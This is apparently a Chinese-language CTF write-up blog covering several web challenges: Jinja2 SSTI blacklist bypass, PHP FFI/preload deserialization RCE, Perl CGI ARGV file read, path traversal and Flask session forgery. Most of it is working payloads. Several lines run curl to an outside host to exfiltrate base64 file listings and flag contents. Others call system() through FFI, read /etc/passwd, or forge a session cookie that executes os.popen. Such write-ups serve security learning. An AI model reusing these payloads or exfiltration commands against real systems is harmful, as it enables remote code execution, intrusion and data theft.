[GWCTF 2019]你的名字

知识点:ssti py2黑盒

image-20210827113609949

虽然不能用{{}}` 但是`{%%}`可以用! 还是可以判断是ssti的! 不过他有个php报错挺混的! ![image-20210827114355957](https://gitee.com/taochiyu/blogimage/raw/master/img/20210827114356.png) 这题不给源码不行!

blacklist = ['import', 'getattr', 'os', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'for',
' subprocess', 'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'local',
'self', 'item', 'getitem', 'getattribute', 'func_globals', 'config'];
for no in blacklist:
while True:
if no in s:
s = s.replace(no, '')
else:
break
return s
用最后一个config绕过! ## payload
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl scy.upload.love:1/?i=`ls /|base64`') %}{% endif %}
这个python是python2的! ![image-20210827120522669](https://gitee.com/taochiyu/blogimage/raw/master/img/20210827120522.png) 用的 ![image-20210827120552810](https://gitee.com/taochiyu/blogimage/raw/master/img/20210827120552.png) ## payload
{%print(''.__clasconfigs__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.func_globals.linecache.os.popconfigen('curl scy.upload.love:1 -d `ls|base64`'))%}
s = "{%print(''.__clasconfigs__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.funcconfig_globals.linecache.oconfigs.popconfigen('curl scy.upload.love:1 -d `ls|base64`'))%}"


{%print(''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl scy.upload.love:1/?a=`whoami`'))%}

{% if ''.__clconfigass__.__mrconfigo__[2].__subcconfiglasses__()[59].__init__.func_glconfigobals.linecache.oconfigs.popen('curl scy.upload.love:1/?i=ls /') %}{% endif %}

s = "{% iconfigf ''.__clconfigass__.__mrconfigo__[2].__subcconfiglasses__()[59].__init__.func_glconfigobals.linecache.oconfigs.popeconfign('curl scy.upload.love:1 -d `ls /|base64`') %}{% endiconfigf %}"

{% iconfigf ''.__clconfigass__.__mrconfigo__[2].__subcconfiglasses__()[59].__init__.func_glconfigobals.linecache.oconfigs.popeconfign('curl scy.upload.love:1 -d `cat /flag_1s_Hera|base64`') %}{% endiconfigf %}
# [BSidesCF 2020]Hurdles ## 知识点:http头 https://blog.csdn.net/weixin_44037296/article/details/112298411
root@upload:~# curl  -X PUT -i 'node4.buuoj.cn:29584/hurdles/!?get=flag&%26%3d%26%3d%26=%2500%0A' --basic -u "player:54ef36ec71201fdf9d1423fd26f97f6b" --user-agent "1337 v.9000" -H "X-Forwarded-For:13.37.13.37,127.0.0.1" --cookie "Fortune=6265" -H "Accept:text/plain" -H "Accept-Language:ru" -H "origin:https://ctf.bsidessf.net" -H 'Referer:https://ctf.bsidessf.net/challenges'
HTTP/1.1 200 OK
X-Ctf-Flag: flag{d67f600f-eaaa-4be3-ab6d-2869269536ac}
Date: Fri, 27 Aug 2021 05:00:17 GMT
Content-Length: 16
Content-Type: text/plain; charset=utf-8

不好玩! # [RCTF 2019]Nextphp ## 知识点:preload/FFI同时使用导致绕过disable_function/open_basedir 自己写了shell进去后发现不行! ![image-20210827132818720](https://gitee.com/taochiyu/blogimage/raw/master/img/20210827132818.png) 用蚁剑绕过也不行! 看wp可以用`glob`协议读到文件 glob就是 想正则一样的匹配! ![image-20210827132909969](https://gitee.com/taochiyu/blogimage/raw/master/img/20210827132910.png) ![image-20210827132935627](https://gitee.com/taochiyu/blogimage/raw/master/img/20210827132935.png) ## payload
<?php

if ( $b = opendir("glob:///*") )
{
while ( ($file = readdir($b)) !== false ) {
echo "filename:".$file."\n";
}closedir($b);
}
![image-20210827133056879](https://gitee.com/taochiyu/blogimage/raw/master/img/20210827133056.png) ## preload.php
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];

private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}

public function __serialize(): array {
return $this->data;
}

public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}

public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}

public function __get ($key) {
return $this->data[$key];
}

public function __set ($key, $value) {
throw new \Exception('No implemented');
}

public function __construct () {
throw new \Exception('No implemented');
}
}
就知道不会白给东西!哈哈哈! 想的太简单了!我——》彩🐕 [serialize()](https://www.php.net/manual/zh/function.serialize.php) 函数会检查类中是否存在一个魔术方法 [__serialize()](https://www.php.net/manual/zh/language.oop5.magic.php#object.serialize)。如果存在,该方法将在任何序列化之前优先执行。它必须以一个代表对象序列化形式的 键/值 成对的关联数组形式来返回,如果没有返回数组,将会抛出一个 [TypeError](https://www.php.net/manual/zh/class.typeerror.php) 错误。 **注意**: 此特性自 PHP 7.4.0 起可用。 > **注意**: > > 如果类中同时定义了 [__unserialize()](https://www.php.net/manual/zh/language.oop5.magic.php#object.unserialize) 和 [__wakeup()](https://www.php.net/manual/zh/language.oop5.magic.php#object.wakeup) 两个魔术方法,则只有 [__unserialize()](https://www.php.net/manual/zh/language.oop5.magic.php#object.unserialize) 方法会生效,[__wakeup()](https://www.php.net/manual/zh/language.oop5.magic.php#object.wakeup) 方法会被忽略。 > **注意**: > > 此特性自 PHP 7.4.0 起可用。 ![image-20210827142419793](https://gitee.com/taochiyu/blogimage/raw/master/img/20210827142419.png) 反序列化的时候! ![image-20210827142434659](https://gitee.com/taochiyu/blogimage/raw/master/img/20210827142434.png) 两个数组合并!后面的吃前面的!就是后面的覆盖前面的! ![image-20210827142549344](https://gitee.com/taochiyu/blogimage/raw/master/img/20210827142549.png) 就可以rce!无回显的! ## 思路 FFI 外部函数接口! `https://www.php.net/manual/en/book.ffi.php` 题目中设置了`opcache.preload = /var/www/html/preload.php`和`FFI support = enabled`,可以利用ffi直接调用C语言编写的函数 简单的数就是预加载配合外部函数接口就很危险! `https://xz.aliyun.com/t/5218` `In conjunction with ext/FFI (dangerous extension), we may allow FFI functionality only in preloaded PHP files, but not in regular ones` ![image-20210827185852256](https://gitee.com/taochiyu/blogimage/raw/master/img/20210827185852.png) 看图很清楚了!👀
1=var_dump(unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__serialize()[ret]->system("curl scy.upload.love:1"));
`https://www.php.net/manual/en/book.ffi.php`
1=$a=unserialize(base64_decode("QzoxOiJBIjo5Nzp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czozNDoiaW50IHBocF9leGVjKGludCB0eXBlLCBjaGFyICpjbWQpOyI7fX0="));var_dump($a->ret->php_exec(2,'curl scy.upload.love:1/ -d `cat%20/flag`'));
## 文章: `https://xz.aliyun.com/t/5218` `https://zhzhdoai.github.io/2019/05/21/RCTF-nextphp%E9%A2%98%E8%A7%A3/#%E4%BD%BF%E7%94%A8glob%E5%8D%8F%E8%AE%AE%E8%AF%BB%E5%88%B0%E6%96%87%E4%BB%B6` # [CSAWQual 2016]i_got_id ## 知识点:Perl CGI 文章:`https://www.jianshu.com/p/c4dc22699a42` Web服务器一般只用来处理静态文件请求,一旦碰到动态脚本请求,Web服务器主进程就会Fork创建出一个新的进程来启动CGI程序,也就是将动态脚本交给CGI程序来处理。启动CGI程序需要一个过程,如读取配置文件、加载扩展等。当CGI程序启动后会去解析动态脚本,然后将结果返回给Web服务器,最后由Web服务器将结果返回给客户端,之前Fork出来的进程也随之关闭。这样,每次用户请求动态脚本,Web服务器都要重新Fork创建一个新进程去启动CGI程序,由CGI程序来处理动态脚本,处理完成后进程随之关闭,其效率是非常低下的 就记住`CGI`是处理动态脚本的就行! 早期的Web服务器,只能响应浏览器发来的HTTP静态资源的请求,并将存储在服务器中的静态资源返回给浏览器。随着Web技术的发展,逐渐出现了动态技术,但是Web服务器并不能够直接运行动态脚本,为了解决Web服务器与外部应用程序(CGI程序)之间数据互通,于是出现了CGI(Common Gateway Interface)通用网关接口。简单理解,可以认为CGI是Web服务器和运行其上的应用程序(php等动态脚本语言)进行“交流”的一种约定 懂了`https://www.cnblogs.com/f-ck-need-u/p/9557041.html` ![image-20210827193929046](https://gitee.com/taochiyu/blogimage/raw/master/img/20210827193929.png) 题目: ![image-20210827193942063](https://gitee.com/taochiyu/blogimage/raw/master/img/20210827194000.png) 我们可以随意读取文件! - `ARGV`:表示`<>`当前正在处理的文件句柄
POST /cgi-bin/file.pl?cat+/etc/passwd HTTP/1.1
Host: 9eae89d8-f40a-4442-94e9-2ac8eb17b39d.node4.buuoj.cn:81
Content-Length: 382
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://9eae89d8-f40a-4442-94e9-2ac8eb17b39d.node4.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVTva0F6UAHl81LA0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://9eae89d8-f40a-4442-94e9-2ac8eb17b39d.node4.buuoj.cn:81/cgi-bin/file.pl
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=17b0b3c6b83d44-005a7fe99cb475-d7e163f-144000-17b0b3c6b84c1f; __gads=ID=33fe19caf70dfda2-2256ad34d4ca00a4:T=1629196606:RT=1629196606:S=ALNI_MbYOUTbIEhkHNdH4wwT0r67doOYLw; OUTFOX_SEARCH_USER_ID_NCOO=1935872068.9989924
Connection: close


------WebKitFormBoundaryVTva0F6UAHl81LA0
Content-Disposition: form-data; name="file";

ARGV
------WebKitFormBoundaryVTva0F6UAHl81LA0
Content-Disposition: form-data; name="file"; filename="0.jpg"
Content-Type: image/jpeg

‰PNG
------WebKitFormBoundaryVTva0F6UAHl81LA0
Content-Disposition: form-data; name="Submit!"

Submit!
------WebKitFormBoundaryVTva0F6UAHl81LA0--

POST /cgi-bin/file.pl?/flag HTTP/1.1
Host: 9eae89d8-f40a-4442-94e9-2ac8eb17b39d.node4.buuoj.cn:81
Content-Length: 382
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://9eae89d8-f40a-4442-94e9-2ac8eb17b39d.node4.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVTva0F6UAHl81LA0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://9eae89d8-f40a-4442-94e9-2ac8eb17b39d.node4.buuoj.cn:81/cgi-bin/file.pl
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=17b0b3c6b83d44-005a7fe99cb475-d7e163f-144000-17b0b3c6b84c1f; __gads=ID=33fe19caf70dfda2-2256ad34d4ca00a4:T=1629196606:RT=1629196606:S=ALNI_MbYOUTbIEhkHNdH4wwT0r67doOYLw; OUTFOX_SEARCH_USER_ID_NCOO=1935872068.9989924
Connection: close


------WebKitFormBoundaryVTva0F6UAHl81LA0
Content-Disposition: form-data; name="file";

ARGV
------WebKitFormBoundaryVTva0F6UAHl81LA0
Content-Disposition: form-data; name="file"; filename="0.jpg"
Content-Type: image/jpeg

‰PNG
------WebKitFormBoundaryVTva0F6UAHl81LA0
Content-Disposition: form-data; name="Submit!"

Submit!
------WebKitFormBoundaryVTva0F6UAHl81LA0--

以为题目docker环境变了!反弹不能执行命令了!好像没/bin/bash! # virink_2019_files_share ## 知识点:为出题而出题! uploads发现可以目录遍历!但是没啥用! ![image-20210827201644296](https://gitee.com/taochiyu/blogimage/raw/master/img/20210827201713.png) ![image-20210827201357133](https://gitee.com/taochiyu/blogimage/raw/master/img/20210827201357.png) 还有过滤!👀
GET /preview?f=....//....//....//....//....//....//etctc//passwd
GET /preview?f=....//....//....//....//....//....//....//f1ag_Is_h3rere//flag HTTP/1.1
# [watevrCTF-2019]Supercalc ## 知识点:ssti `输入config! {{7*7}}

有waf!是ssti没错了!

image-20210827223037314

{'history': [{'code': '1'}]}
python3 flask_session_cookie_manager3.py decode -c "eyJoaXN0b3J5IjpbeyJjb2RlIjoiX19pbXBvcnRfXyhcIm9zXCIpLnBvcGVuKFwiY2F0IGZsYWcudHh0XCIpLnJlYWQoKSJ9XX0.YSj3oQ.QYlRmdrr1Q352sJsPpikQPgdPZA" -s "cded826a1e89925035cc05f0907855f7"
{'history': [{'code': '1 * 8'}]}

{'history': [{'code': '__import__(\"os\").popen(\"ls\").read()'}]}

python3 flask_session_cookie_manager3.py encode -s "cded826a1e89925035cc05f0907855f7" -t "{'history': [{'code': '__import__(\"os\").popen(\"cat flag.txt\").read()'}]}"

文章

https://blog.csdn.net/weixin_44037296/article/details/111460870